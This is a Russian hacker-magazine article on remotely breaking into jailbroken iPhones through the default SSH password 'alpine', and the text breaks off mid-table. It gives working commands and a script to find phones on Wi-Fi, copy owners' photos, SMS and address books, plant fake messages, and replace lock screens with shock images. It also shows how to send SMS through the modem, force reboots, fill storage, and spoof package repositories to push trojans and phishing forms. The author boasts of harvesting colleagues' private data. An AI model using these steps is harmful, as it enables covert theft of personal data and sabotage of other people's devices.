Атака iPhone: взлом телефонов от Apple

Как зайти в iphone через ssh. Атака iPhone: взлом телефонов от Apple С лета прошлого года в Россию ввезли и разлочили больше 300 000 iPhone’ов. Учитывая массовое распространение и достаточно интересное внутреннее устройство

Атака iPhone: взлом телефонов от Apple

С лета прошлого года в Россию ввезли и разлочили больше 300 000 iPhone’ов. Учитывая массовое распространение и достаточно интересное внутреннее устройство этого гаджета, мы решили провести анализ его безопасности и выяснили, что почти любой iPhone можно взломать удаленно за несколько минут!

Welcome to Darwin

Многие относятся к iPhone как к телефону для блондинок. Он, и правда, нравится блондинкам, но работает при этом под управлением абсолютно полноценной Unix-операционки. Мобильная OS X изготавливается из настольной Mac OS X, которая, в свою очередь, является современной версией системы BSD-семейства NeXTSTEP, увидевшей свет за пять лет до ядра Linux – в 1986 году.

Инженеры Apple удалили из операционки iPhone почти все консольные утилиты, однако при установке OpenSSH на взломанный iPhone требуется поставить еще и пакет с BSD-окружением, так что тебя встретит компания старых друзей: от curl, scp и zsh до tar, bzip2 и gunizp.

Как и в любой Unix-системе, в мобильной Mac OS X есть суперпользователь с именем root и паролем, которым чаще всего по умолчанию является строка «alpine».

Шесть букв в одном регистре — обычно плохая идея для пароля root, но в обычном, не взломанном, iPhone вводить этот пароль некому и некуда. Он мог бы быть любым, и ничего бы не изменилось.

В России, разумеется, все iPhone взломаны, и на большинстве этих взломанных телефонов установлен OpenSSH — как единственный способ получить доступ к файловой системе. Когда-то это было стандартным этапом взлома и активации.

Таким образом, мы получаем очень забавную картину: почти к любому айфону в России можно удаленно подключиться по ssh с дефолтовой записью root:alpine и получить неограниченные возможности в управлении. Заставить телефон звонить и отправлять SMS – легко. Украсть базу с SMS, записную книжку, фотографии – еще проще. Вообще, можно сделать все, что угодно.

Обнаружение

Практическую часть экспериментов мы начнем с этапа, который называется «обнаружение». Ведь нужно знать, куда подключаться: к какому ip-адресу. Вообще говоря, у iPhone два сетевых интерфейса: Wi-Fi (en0, согласно ifconfig) и GPRS (PPP-интерфейс ip1, согласно тому же ifconfig). Для взлома лучше взаимодействовать с телефоном по Wi-Fi: GPRS пролегает по территории сотового провайдера и, к тому же, это очень медленный протокол. Между тем, времени для взлома обычно немного — iPhone любит поспать, и в режиме ожидания (standby mode) практически все процессы (твоя ssh-сессия, запущенный тобой процесс, даже запланированные по cron процессы) ставятся на паузу и возобновляются только после того, как владелец достанет телефон из кармана и разбудит его. Батарейку это экономит, а нервы может подсадить.

Можно придумать схему со сканированием всего доступного IP-диапазона какого-нибудь сотового провайдера или с регистрацией IP-адресов пользователей MobileSafari, зашедших на специально заведенный сайт — но все это лучше отложить на скучные зимние вечера. Куда быстрее и веселее увидеть человека, задумчиво гладящего на экран своего телефона в офисе или кафе с открытой WiFi-сетью.

Обнаружить iPhone с помощью nmap — элементарно. Запусти сканирование стандартным образом (например, nmap -O 10.0.0.*) и увидишь в списке прочих хостов вот такие записи:

Not shown: 1714 closed ports
PORT STATE SERVICE
22/tcp open ssh
MAC Address: XX:XX:XX:XX:XX:XX (Apple)
Device type: phone|media device
Running: Apple embedded
OS details: Apple iPhone mobile phone or iPod Touch audio player (Darwin 9.0.0d1 )

Конечно, сканировать всю подсеть с ключом -O – долго и утомительно. Правильнее было бы пройтись по ней без ключа -O и только потом определить ОС на хостах с открытым 22-ым портом. Но и это не самый рациональный способ. На взломанном iPhone запущен не только sshd, но и mDNSResponder (Zeroconf от Apple). То есть при входе в сеть iPhone оповещает всех присутствующих о том, какие сервисы он предоставляет. Достаточно запустить, к примеру, SFTP-клиент с поддержкой Bonjour (допустим, Cyberduck под Mac OS X), и он известит тебя о появлении нового хоста в сети. Более того, mDNSResponder доступен в виде исходников, портирован на Linux и на Windows, и его легко использовать для автоматизации процесса поиска и проверки всех появившихся в сети телефонов.

Еще о системе

В мобильной OS X два пользователя (не считая nobody и unknown): root (это ты) и mobile (это владелец телефона). Файловая система телефона разделена на две части. Папка /var/mobile, содержащая данные пользователя, отделена от остальной системы (сделано для того, чтобы после обновления прошивки не нужно было заново заливать на iPhone адресную книгу, музыку и так далее).

Как в любой приличной UNIX ОС, в OS X все – либо файл, либо папка. Самые важные для тебя папки — Library (в них хранятся персональные данные и настройки) и Media (в них хранятся картинки, музыка и видео). В корне файловой системы (помимо стандартных etc, usr, dev и т.д) ты найдешь папки System, Library и Applications. Внутри папки System находится еще одна папка Library. Другая папка Library принадлежит пользователю mobile (/var/mobile/Library).

В настольной Mac OS X положение папки Library определяет ее значимость — в /System/Library свои данные хранят системные приложения, в /Library хранятся данные пользовательских приложений, общие для всей системы, а в

/Library — личные данные пользователя. То же относится и к мобильной OS X. Поэтому большинство интересных вещей (настройки, базы sms и почтовые базы) ты найдешь в папке /var/mobile/Library/, а ключи доверенных WiFi-сетей — в /Library.

Итак, теперь ты знаешь, где искать полезные данные, но как они выглядят? Данные в мобильной OS X могут лежать внавалку, храниться в файлах .plist или базах SQLite.

Внавалку

Хотя параноики из Apple предпочитают записывать все в отдельные базы данных, кое-что валяется на диске iPhone просто так. Например, сделанные встроенной камерой снимки лежат в /var/mobile/Media/DCIM. Если хочешь их быстро украсть (надежда на домашнее порно жива и будет жить всегда) — воспользуйся утилитой scp:

scp -r root@iPhone.local.:/var/mobile/Media/DCIM

Человек подарил тебе надежду на домашнее порно — подари ему что-нибудь взамен, сделай его жизнь немножечко лучше. Картинка, которую он использует в качестве фона, хранится в файле /var/mobile/Library/LockBackground.jpg. Неважно, выбрана ли она системных картинок, залита с компьютера или снята встроенной камерой — она будет скопирована в это место и уменьшена до 320х480 пикселей. Размер важен — если картинка будет больше или меньше, она не будет масштабироваться.

В жизни каждого должна быть минутка для goatse. Скопируй заранее подготовленную картину на место указанной (например, curl http://goatse.cx/hello.jpg -o /var/mobile/Library/LockBackground.jpg), закрепи (чтобы растянуть удовольствие): chmod -w /var/mobile/Library/LockBackground.jpg и перезапусти SpringBoard (killall SpringBoard). Теперь владелец iPhone будет постоянно видеть (без вариантов!) одну из старейших реликвий интернета.

Настройки мобильной OS X — яркость, мелодия звонка, время срабатывания будильников и прочее — хранятся, как и в настольной Mac OS X, в файлах plist. Файлы plist бывают двух видов — текстовые и бинарные. Текстовые, разумеется, можно править любым текстовым редактором (это простой, легко читаемый XML); бинарные надо конвертировать в текстовые, а потом обратно. В мобильной OS X используются оба типа — системные настройки хранятся в текстовом виде, пользовательские — в бинарном.

Конвертируются плисты с помощью утилиты plutil. Если ты пользуешься Mac OS X, она у тебя уже есть, если нет — скачай. Существуют версии и для Linux, и для Windows. Команда plutil -convert преобразует файл из бинарного в текстовый и обратно — после plutil -convert xml1 ты сможешь править файл, после plutil -convert binary1 скопировать его обратно. Еще лучше пропихнуть на iPhone собранную Эрикой Садун версию plutil для мобильной OS X — она может исправлять различные параметры прямо из командной строки, без конвертации.

Например, в файле /var/mobile/Library/Prefences/com.apple.springboard.plist (после конвертации в XML) содержится подобный ключ:

Эта настройка определяет общую мелодию звонка. Значение в <string></string> может быть одним из следующих:

  1. <default> (рингтон по умолчанию, называется Marimba);
  2. system:название рингтона (рингтон из поставляемых с системой, они содержатся в папке /Library/Ringtones; приведенный выше рингтон — это файл /Library/Ringtones/Motorcycle.m4a);
  3. itunes:цифро-буквенный код (залитый пользователем рингтон, содержащийся в /var/mobile/Media/iTunes_Control/Ringtones; код здесь не имя файла, а идентификатор из какой-то базы данных).

Изменив этот ключ, ты сможешь изменить используемый рингтон. Самый надежный способ — заменить все системные рингтоны своим (контейнер — MPEG-4, кодек — ААС, длительность — не больше 40 секунд, расширение — .m4r).

Чтобы изменить значение ключа ringtone, либо сконвертируй com.apple.springboard.plist в текст, измени его вручную и сохрани, либо, используя утилиту Эрики, отдай команду:

plutil -s ringtone -v “system:Sonar” /var/mobile/Library/Preferences/com.apple.springboard.plist

По тому же принципу можно изменить любые настройки мобильной OS X. За год существования iPhone они были прекрасно документированы, а то, что ты не найдешь в Google, за тебя найдет grep.

SQLite

Наконец, в маленьких уютненьких базочках SQLite хранятся замечательные вещи — база SMS, адресная книжка и многое другое. База SMS лежит тут — /var/mobile/Library/SMS/sms.db, адресная книга тут — /var/mobile/Library/AddressBook.sqlitedb. Скопировав их на свою машину, ты сможешь разобраться в структуре и содержимом с помощью утилиты sqlite3 (у пользователей Mac OS X она есть сразу, у пользователей Linux и Windows тоже не будет особых проблем).

Утилита может выполнять твои желания интерактивно или прямо из командной строки. Если ты вызовешь ее с SQL-запросом, она исполнит его и выйдет. Если без — она вернет тебе приглашение и будет ждать других запросов и команд. Самые интересные таблицы — таблица messages в sms.db и таблица ABPerson в AddressBook.sqlitedb. Ты можешь читать, парсить и изменять эти базы, более того — Эрика и ее портировала на iPhone (к вопросу о силе open source). Не забудь сделать резервную копию для себя — мало ли для чего может пригодиться база чужих SMS и адресная книга с работающими телефонами и электронными адресами.

И, конечно, используй sqlite3 в целях мира во всем мире:

sqlite3 sms.db “INSERT INTO messages VALUES(0, ‘+0000000’, 1354321900, ‘МЫ ЛЮДИ БУДУЩЕГО НЕ ЗАПУСКАЙТЕ КОЛЛАЙДЕР НЕ ЗАПУСКАЙТЕ КОЛЛАЙДЕР’,1,0,NULL,0,0,0,0,0);”

Пускай человек внезапно обнаружит в своей базе послание из будущего (1 декабря 2012 года в 00:31:40 по Гринвичу — третье поле в таблице содержит дату в эпохе).

AT+OMFG!

Это же телефон, черт возьми! Музыка музыкой, картинки картинками, но главная задача сотового телефона — сотовая связь. Вообще, модем в сотовом телефоне (в iPhone это /dev/codey.baseband) обычно недоступен — на нем висит коммуникационный процесс, ожидающий поступления звонков и сообщений. Но у нас есть лазейка — /dev/codey.debug.

Чтобы поговорить с модемом, можно использовать mincom (он часть пакета с BSD-окружением). Его потребуется настроить (minicom -s), так как по умолчанию он пытается соединиться с /dev/modem. Но если ты торопишься, создай симлинк — ln /dev/codey.baseband /dev/modem (симлинки на телефоне — это очень круто).

Теперь запусти minicom и начинай отдавать AT-команды. К примеру, команда AT+CBC, сообщит тебе об уровне заряда батарейки:

Батарейка заряжена на 65%, и еще на какое-то время ее хватит. Теперь можно позвонить, отправить sms или подключить какую-нибудь хорошую услугу. Давай отправим sms — это меньшее, что мы можем сделать после того, как прочитали все имеющиеся.

AT+CMGF=1
// Модем переключается в текстовый режим (0 — голос, 1 — текст) и возвращает OK.
AT+CMGW=”+712345678”
//Здесь начинается, собственно, сообщение. Номер абонента — часть команды. Модем вернет приглашение ввести текст сообщения — >
> Welcome. to the world of tomorrow!
// Сообщение кончится, когда модем получит EOF — теперь оно будет записано в память. Модем вернет OK и +CMGW: N, где N — индекс сообщения в памяти модема.
AT+CMSS=N // Отправка сообщения, индекс которого — N — вернет OK, если сообщение успешно отправлено.

Список AT-команд не менялся уже много лет. Используя их, ты сможешь отправлять SMS, набирать телефонные номера и изучать свойства аппаратной части iPhone.

Для того чтобы отдавать AT-команды прямо из командной строки, было написано несколько утилит. Например, команда iPhone Elite выпустила утилиту sendmodem. Протолкнув sendmodem на iPhone, ты сможешь использовать ее саму по себе или в скриптах. Исходный код утилиты — прекрасный пример того, как отдавать AT-команды программно.

Перспективы

Как видишь, даже без особой подготовки можно найти и поюзать iPhone, получив при этом огромное удовольствие. А если ты подготовишься, то сможешь сделать куда больше.

Писать для iPhone не сложнее, чем для любой другой UNIX OS и значительно проще, чем для любого другого сотового телефона. Бесполезно помещать на iPhone Java-утилитки — ему требуется суровый мужской С. Несмотря на возражения Apple, за год вокруг iPhone сложилось огромное девелоперское сообщество, и ты легко найдешь подробные инструкции по кросс-компиляции, мануалы и описания библиотек, узнаешь — как бороться с standby mode, перехватывать управление модемом и так далее.

Представь себе маленькую утилитку, обнаруживающую другие телефоны по Bonjour, логиняющуюся по ssh с паролем alpine и оставляющую на них свою копию. Или утилитку, отправляющую sms (с вежливым приветствием всем людям в адресной книге) — можно было бы обойтись 10-15 строчками кода. В общем, iPhone — действительно революционное устройство.

Простое западло

Напоследок – два простых рецепта.

1. Если хочешь, чтобы вражеский айфон перезагружался раз в пять минут – просто набери crontab -e и добавь в cron одну строку:

2. Неплохая идея – занять все свободные на айфоне гигабайты. Сделать это легко:

cat /dev/random > hahagotcha.txt

Бешеные гигабайты быстро кончатся, и iPhone будет настойчиво предлагать своему владельцу удалить пару фотографий и немного музыки, чтобы расчистить место.

Меняем пароль на iPhone

Если подопытный iPhone принадлежит тебе, защитить его очень просто — просто поменяй пароль root. Но если ты еще не обновился до второй версии прошивки – не стоит при этом использовать passwd. Этим ты испортишь /etc/master.passwd. Хоть OS X и не нужен пароль root, ей нужно прочитать при старте список пользователей. Телефон не сможет загрузиться и тебе придется восстанавливать его прошивку. Поменяй пароль вручную. Для этого нужно посчитать хеш нового пароля командой openssl passwd -crypt -salt /s твой_новый_пароль и заменить хэш пароля пользователя root в /etc/master.passwd. Если ты – конченый параноик, поставь заодно BossPrefs и отключай sshd, когда он тебе не нужен.

Gorl ставит опыты

Так уж вышло, что в офисе нашей редакции очень много айфонов. И если ты вдруг появишься с Nokia (а я большой поклонник N95, хоть и переквалифицировался на Apple), то на тебя будут очень сочуственно и активно смотреть, мол, ничего, бонус получишь и тоже обайфонишься, а пока — белая ворона.

Движимый благородными чувствами, я решил поломать все имеющиеся в области досигаемости нашей wifi-сети яблочные телефоны, чтобы их владельцы нормальных людей не так сильно смущали.

Больших сложностей после прочтения статьи у меня не возникло.

Скачал для своего домашнего питона модуль pybonjour (http://o2s.csail.mit.edu/o2s-wiki/pybonjour), который позволяет в реальном времени следить за zeroconf-сомвестимыми сервисами.

Подредактировал скрипт browse_and_resolve.py из комлпекта модуля так, чтобы он обнаруживал только ssh-сервисы: sys.argv[1] заменил на ‘_ssh._tcp’ — и никаких тебе аргументов запуска.

Потом в callback-функции добавил, чтобы для кажого hostname запускался тред pscp.exe (из комплекта Pucodey) и скачивал список контактов, смс и все фотографии (%s — это хост айфона).

pscp.exe -r -pw alpine root@%s:/var/mobile/Library/AddressBook/AddressBook.sqlitedb X:\iphones.db\%s\

pscp.exe -r -pw alpine root@%s:/var/mobile/media/DCIM X:\iphones.db\%s\

pscp.exe -r -pw alpine root@%s:/var/mobile/Library/SMS/sms.db X:\iphones.db\%s\

Также потребовалась копия всех этих же комманд для старых прошивок: все то же самое, только ‘root’ вместо ‘mobile’.

После запуска скрипта чужая приватная инфа не заставила себя ждать. Однако если с просмотром фоткок все понятно (jpeg — он и айфоне jpeg), то чтобы прочесть смс и адресную книгу пришлось скачать специальную утилитку для работы с базами sqlite (http://sqlitebrowser.sourceforge.net).

Вывести с ее помощью все контакты из файла AddressBook.sqlitedb помог простенький запроc:

SELECT ABPerson.Last, ABPerson.First, ABMultiValue.value FROM ABPerson, ABMultiValue
WHERE ABPerson.ROWID = ABMultiValue.record_id ORDER BY ABPerson.Last

Чтобы не побили хожу теперь по офису и делаю всем passwd.

Читай так же

Поднимаем бабло с iPhone: ведение в коммерческий кодинг с помощью
официального SDK:

http://www.xakep.ru/post/47188/default.asp

iPhone 3G: прощайте, хакеры!

Первая модель телефона еще не успела состариться, как Apple выпустила на
рынок новый iPhone 3g. Отличий этой модели от своего предшественника всего три:
GSM-контроллер с поддержкой 3g, A-GPS навигационный контроллер и корпус. Само
собой разумеется, новое железо потребовало новой прошивки, и свет увидел вторую
ветку фирмварей. Я не буду подробно описывать все фичи этих прошивок, их можно
без труда найти в инете. Скажу только, что обещанного копи-паста так и не
сделали (на момент написания этой статьи последняя прошивка – 2.2). Вышел и
официальный SDK, и репозиторий-магазин Apple Store. Вторая ветка была зарелизена
и для первого поколения телефонов, поэтому все новые программы универсальны.
Разумеется, хакеры не заставили себя ждать и выпустили под новые прошивки анлоки
и джеилбрейки. Самой популярной программой для разблокировки iPhone стала WinPWN.
Вместе с разблокировкой предлагается поставить менеджеры пакетов Installer (уже
4-ая версия самого первого менеджера) и Cydia (менеджер пакетов на базе Debian
package). В неофициальных репозиториях можно найти вкусные патчи и дополнения,
утилиты и хаки, которых нет в Apple Store. Поэтому Installer и Cydia до сих пор
пользуются популярностью, и списывать со счетов атаки на эти приложения смысла
не имеет.

Атака 0. SSHD default

Самая нетрудная и самая действенная атака. Идея проста, как два байта: многие
пользователи iPhone устанавливают SSH-демон, даже не подозревая, зачем он нужен.
Он используется, например, в программе iPhone tunnel, с помощью которой
эмулируется USB network. Другие пользователи специально ставят SSHD, но поменять
пароль по умолчанию не считают нужным (или попросту ленятся). Вот листинг файла
/etc/master.passwd:

##
# User Database
#
# This file is the authoritative user database.
##
nobody:*:-2:-2::0:0:Unprivileged User:/var/empty:/usr/bin/false
root:/smx7MYTQIi2M:0:0::0:0:System Administrator:/var/root:/bin/sh
mobile:/smx7MYTQIi2M:501:501::0:0:Mobile User:/var/mobile:/bin/sh
daemon:*:1:1::0:0:System Services:/var/root:/usr/bin/false
_securityd:*:64:64::0:0:securityd:/var/empty:/usr/bin/false
_mdnsresponder:*:65:65::0:0:mDNSResponder:/var/empty:/usr/bin/false
_sshd:*:75:75::0:0:sshd Privilege separation:/var/empty:/usr/bin/false
_unknown:*:99:99::0:0:Unknown User:/var/empty:/usr/bin/false

За хэшами скрывается магическое слово alpine. Таким образом, получаем две
связки логин-пароль, с которыми вероятнее всего пустит на iPhone с открытым 22
портом: mobile/alpine и root/alpine. Неслабо? Да, вот так сразу – рутовый
доступ, без лишних проблем. Не стоит думать, что найти такую «халяву» на улицах
тяжело. Поверь мне: сделать это гораздо проще, чем можно было бы подумать (такое
раздолье и заставило меня описать эту тупую и незатейливую атаку). Даже сейчас,
когда больше половины iPhone — белые 3g от отечественных операторов, открытый
порт 22 далеко не редкость.

Атака 1. Installer repository spoofing

Идея этой атаки пришла мне в голову, когда я первый раз взглянул на менеджер
пакетов Installer от RipDev. Соль в том, чтобы создать поддельный репозиторий на
базе обычного веб-сервера (например, встроенного в любую точку доступа
урезанного httpd из busybox). Затем прописать DNS-запись с оригинальным именем
репозитория разработчика и IP-адресом нашего веб-сервера (тоже решается
средствами busy box). После этого iPhone-пользователи, присоединившиеся к нашему
вкусному бесплатному хотспоту (который для пущей красоты можно назвать
как-нибудь типа Godlen_Wifi :)) и обновившие свои программы, получат вместо них
похаканные мобильные трояны. Репозиторий представляет собой xml-конфиги и
zip-файлы с программами. Никакой подписи пакетов и проверки целостности,
спуффинг в чистом виде. Итак, начнем! Скачиваем оригинальные скрипты для
создания репозитория:

Остается лишь найти приложение, которое заведомо будет установлено у всех
пользователей. Нетрудно догадаться, что таким является сам Installer. Вот
оригинальный конфиг производителя http://i.ripdev.com/info/index-2.2.plist, а
вернее, та его часть, которая отвечает за эту софтину:

<dict>
<key>category</key>
<string>System</string>
<key>date</key>
<string>1232132864</string>
<key>identifier</key>
<string>com.ripdev.install</string>
<key>name</key>
<string>Installer</string>
<key>version</key>
<string>4.0</string>
<key>description</key>
<string>THE Installer. Now with resumeable downloads, optimized and tested for
2.1 and 2.2, rebuilds installed apps on the fly, supports proxies, Lua scripting
language and more!
Final release. Includes English, Russian and Ukranian localizations.
</string>
<key>icon</key>
<string>http://i.ripdev.com/info/icons/com.ripdev.install-4.0.png</string>
<key>url</key>
<string>http://i.ripdev.com/info/com.ripdev.install-4.0-2.2.plist</string>
</dict>

Чтобы заставить жертву поверить в обновление приложения, исправим
параметры-ключи date и version на произвольные числа, заведомо больше данных.
Теперь перейдем к xml-конфигу из ключа url:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>identifier</key>
<string>com.ripdev.install</string>
<key>name</key>
<string>Installer</string>
<key>version</key>
<string>4.0</string>
<key>description</key>
<string>THE Installer. Now with resumeable downloads, optimized and tested for
2.1 and 2.2, rebuilds installed apps on the fly, supports proxies, Lua scripting
language and more!
Final release. Includes English, Russian and Ukranian localizations.
</string>
<key>icon</key>
<string>http://i.ripdev.com/info/icons/com.ripdev.install-4.0.png</string>
<key>size</key>
<integer>565635</integer>
<key>hash</key>
<string>3d916b3d60c5c31c66e652f2c5711832</string>
<key>location</key>
<string>http://i.ripdev.com/packages/System/installer-40.zip</string>
</dict>
</plist>

Исправим ключ version на такой же, который выставили в предыдущем файле.
Изменим ключ size, чтобы он соответствовал размеру хакнутого файла приложения.
Последний штрих – ключ hash. Смотрим скачанный исходник репозитория
regenerate.php:

Видим, как все просто, никаких наворотов. Снимаем хэш от лже-приложения и
кладем в значение ключа. Все готово, опционально можно исправить еще и url-ключ
– это уже ничего не изменит. Думаю, тема раскрыта. О том, как создать троян для
iPhone и что для этого потребуется, я постараюсь рассказать в следующих статьях.

Атака 2. Exploits

Уязвимости в основном найдены в веб-браузере Safari и почтовике. Во многом
ошибки повторяют найденные ранее в версиях под MacOs. Комментарии на эту тему
можно найти в исходных их кодах. Первой ласточкой стала ошибка в библиотеке
libtiff, существовавшая на первом поколении телефонов и благополучно
исправленная во вторых прошивках. Далее исследователи копали главным образом
JavaScript процессор. Благо, тут было на что опираться: движок WebKit
перелопатили, еще когда iPhone и в проекте не было, поэтому наработок хоть пруд
пруди. Я умышленно не буду подробно разбирать существующие экспойты для iPhone.
Во-первых, хочется посвятить этому отдельную статью. Во-вторых, пока будет
логичным разобраться с более простыми атаками. Можешь попробовать готовые
реализации:

Они прекрасно функционируют на последней (на момент написания статьи)
прошивке 2.2.

Еще пару слов о шелл-кодах. Есть прекрасная

статья на метасплоите, в которой подробно описываются многие аспекты
безопасности яблочного телефона и процесс создания (а вернее, портирования)
шелл-кода для iPhone. Рассказать об этом лучше, чем H.D.Moore, у меня вряд ли
получится, поэтому просто отправляю к первоисточнику. К слову, эта статья была
написана аж 25 сентября 2007 года! Запасись кофе – чаем — сигаретами (нужное
подчеркнуть) и приятного чтения. А если хватит сил и дерзости самому броситься
искать новые дыры, рекомендую для начала проверить все найденные уязвимости в
Safari. Что-то мне подсказывает: не все из них закрыты в мобильной версии ;).

Атака 3. Fishing/XSS

Привожу два типа атак вместе, и связано это с тем, что «так исторически
сложилось»: сначала попалось сообщение об угрозе фишинга на iPhone, затем
захотелось расширить изыскания до XSS. К тому же, ничего конкретного по
межсайтовому скриптингу я не получил, поэтому выделять в отдельный раздел считаю
нецелесообразным. Итак, начнем. Однажды жарким летним днем рассылка секлаба
сообщила, что некий израильский эксперт Авив Рафф нашел уязвимость в клиенте
электронной почты iPhone, которая позволяет маскировать ложные ссылки в письмах.
Перейдя по совершенно корректной и известной на вид ссылке, пользователь
попадает на сайт, где ему под разным соусом предлагается отправить какие-то
личные данные. В общем, схема стандартная, теперь о реализации. Что там придумал
израильский эксперт, конечно, не сообщается, однако первое, что мне пришло на ум
проверить, прочитав этот адвайс – обработку html-тэгов в письмах на iPhone.
Недолго думая, я отправил сам себе письмо в html-формате:

Открыв это сообщение через встроенный почтовый агент телефона, я ничуть не
удивился. Ссылка называлась http://yandex.ru, а переходила, как и положено, на
http://google.ru. Самое интересное, что если послать e-mail в формате обычного
текста, со следующим содержанием: http://yandex.ru, то визуально это сообщение
от вышерассмотренного отличаться не будет. Однако ссылки будут вести на разные
сайты. Если подержать палец на такой ссылке высветится всплывающая подсказка, в
которой будет содержаться адрес реального сайта. Недолго думая, я попробовал

и был разочарован – почтовый клиент такое парсить отказался, ссылка была
неработоспособна. Со второй попытки получилось – я просто оставил директиву «http://»:

Это уже работало корректно, по нажатию на ссылку из письма открывался браузер
с Гуглом. Всплывающее окно отображало хексы, а не явный вид урла. В дополнение
ко всему я убедился, что почтовик не воспринимает атрибуты title и alt. Подвиг
израильского багоискателя был повторен, и я решил сделать страницу с формой,
точно повторяющей диалог запроса пароля для AppleStore (этот диалог всплывает
постоянно, пароль записать нельзя, поэтому пользователи уже на автомате вбивают
данные) и отправить ее внутри iframe в теле письма. Недолго думая, я снял
скриншот с оригинального диалога, распилил его на картинки и собрал в
HTML-таблице. Верстка под Safari оказалась не очень простой, но, все же,
результат вышел очень похожим на правду. Чтобы проверить его в работе, был
написан простой скрипт:

Я отправил его себе на почту и открыл сообщение. Выглядело весьма натурально.
При нажатии на кнопку «ОК» открылся веб-браузер, пароль был успешно отображен на
экране. Помимо моего пароля, почтовик передал еще два параметра x и y, наверное,
это какие-то относительные координаты места нажатия. Здесь надо заметить, что
данные методом POST не передаются. Очевидно, почтарь передает в браузер только
ссылку. Остаток дня я убил, чтобы заставить почтовик отрабатывать JavaScript.
Тщетно! Не помогают никакие ухищрения. Если твои опыты будут более успешными –
сообщи, буду искренне рад.

Теперь перейдем к iframe. Здесь все было удачно, код:

– прекрасно отобразил поисковик прямо в теле сообщения. Как и следовало
ожидать, javascript на таких страницах тоже не работал. Далее я выудил всю
информацию о встроенном в почтовик браузере вот таким кодом:

<?php
setcookie("user", "test", time()+3600);
foreach ($_COOKIE as $cookie_name => $cookie_value) <
print("<li>" . htmlspecialchars($cookie_name) . "=" . htmlspecialchars($cookie_value)
. "</li>");
>

$tmp=fopen("iphone-mail.txt","w");
foreach($_SERVER as $key_name => $key_value) <
fputs($tmp, $key_name . " = " . $key_value . "\n");
print( $key_name . " = " . $key_value . "<br>");
>
fclose($tmp);

Результаты были следующими – cookies отключены, идентификация браузера
полностью аналогична веб-браузеру Safari:

http_USER_AGENT = Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_2 like Mac OS
X; ru-ru) AppleWebKit/525.18.1 (KHTML, like Gecko)
http_ACCEPT = text/xml,application/xml,application/xhtml+xml, text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
http_ACCEPT_LANGUAGE = ru
http_ACCEPT_ENCODING = gzip, deflate
http_CONNECTION = keep-alive
SERVER_ADMIN = [no address given]
REMOTE_PORT = 6084
SERVER_PROTOCOL = http/1.1
REQUEST_METHOD = GET
QUERY_STRING =
argv = Array
argc = 0

В итоге, единственное, что удалось обнаружить – рекурсивное отображение
тела письма, при конструкции

почтовик несколько раз отрисовывает вложенные iframe один в другой. При
каких-то параметрах width и height он зацикливается и рисует бесконечно долго.
Разок я эти параметры угадал, но особого внимания не обратил. Исходник не
сохранился, а воспроизвести заново уже не получилось. Но то, что проблема
остается и параметр src= (впрочем, как и любая конструкция src="blablabla")
ссылается на этот же документ – очевидно. Обычно (в зависимости от остальных
тэгов страницы) отрисовывается 3-4 повтора. Конечно, бесконечное отображение это
утечка памяти, но ее успешный результат – всего лишь завершение работы
почтовика. Кроме того, обнаружился приятный момент – недокументированный
инклудинг документов прямо в тело письма. Отправляем html письмо с iframe,
ссылающимся на скрипт:

<?php
header(‘Content-type: application/vnd.ms-excel’);
header(‘Content-Disposition: acodeachment; filename="downloaded.xls"’);
readfile(‘xls.xls’);
?>

В итоге, получаем просмотр документов PDF/DOC/XLS прямо в теле письма в
почтовике. Негусто! Последняя наработка – метатэги. Они в почтовике
отрабатываются корректно, например, можно сделать редирект:

Если оставить параметр url пустым, страница просто обновится (а вернее –
будет постоянно обновляться). Что ж, обзор атак подобного типа предлагаю
завершить. В этой области еще предстоит трудиться и трудиться, чтобы получить
хоть какие-нибудь результаты.

Атака 4. Location Spoofing или «Потерялася я. »

Эту атаку, судя по всему, придумали швейцарцы. Во всяком случае, они первые о
ней написали. Теоретическая возможность была рассмотрена сильно раньше этой
статьи, однако практическая реализация касательно iPhone/iPod принадлежит именно
им. Вот ссылка на первоисточник:

Рекомендую ознакомиться, потому, что заниматься переводом у меня нет никакого
желания :). Если вкратце: Apple iPhone 2g и Apple iPod touch умеют определять
свое местоположение в пространстве, основываясь на данных от GSM-вышек и уровне
сигнала в WiFi-сетях. Координаты WiFi-точек доступа тягаются из базы http://www.skyhookwireless.com
(собственно, почему им не пришло в голову спуфить ответы этой самой базы).
Поскольку в iPod touch никакого GSM-позиционирования быть не может, все сведения
он тянет от WiFi-точек доступа. Спуфинг-атака заключается в том, что, имитируя
такую же точку доступа, но расположенную ближе (уровень сигнала выше) или дальше
(уровень сигнала ниже), можно ввести алгоритм в заблуждение. Никакой проверки
подлинности, кроме МАК-адреса, там не предусмотрено, так что это проще простого.
Что же касается iPhone 2g, то здесь такая атака тоже имеет место, но с оговоркой
на то, что сначала ареал пребывания устанавливается на основе GSM-сигнала. Если
попытаться убедить устройство, что здесь ловится точка доступа, далекая от этого
ареала, данные от такой точки в расчет браться не будут. Таким образом, обмануть
локатор iPhone можно только в пределах района, который позиционирует GSM.

Взгляд изнутри. Чем поживиться?

Предположим, все уже позади: подошел дефолтный пароль или эксплоит открыл нам
шелл. В общем, доступ к файловой системе получен, что дальше? Дальше – лови
момент. Большинство данных на iPhone хранится внутри базы данных sqlite. Каждое
приложение (например, СМС-менеджер, почтовик, браузер и прочие) имеют свой
файлик с базой, куда кладут все данные. Далее опишу структуру наиболее
интересных баз:

/private/var/mobile/Library/CallHistory/call_history.db – записи о всех
звонках. Формат таблицы call: ROWID (порядковый номер)|address (телефонный
номер)|date (время звонка в абсолютном формате)|duration (длительность звонка в
секундах)|flags (еще не понял зачем)|id (ссылка на идентификатор контакта?). В
таблице _SqliteDatabaseProperties находятся настройки и общие сведения,
например, общее время входящих/исходящих (timer_outgoing/timer_incoming).

/private/var/mobile/Library/Notes/notes.db – заметки. Формат таблицы
note_bodies: note_id (порядковый номер заметки)|data (текст заметки в html
формате, кодировка UTF-8). Формат таблицы Note: ROWID (порядковый номер заметки)|creation_date
(абсолютная дата создания)|title (заголовок заметки)|summary (первые символы
текста заметки)|contains_cjk (зарезервировано?).

/private/var/mobile/Library/SMS/sms.db – СМС :). Формат таблицы message:
ROWID|address (номер телефон отправителя)|date|text (текст сообщения в UTF-8)|flags|replace|svc_center|group_id
(идентификатор группы, в случае отправки нескольким адресатам в группе будут
несколько номеров)|association_id|height|UIFlags|version. Формат таблицы
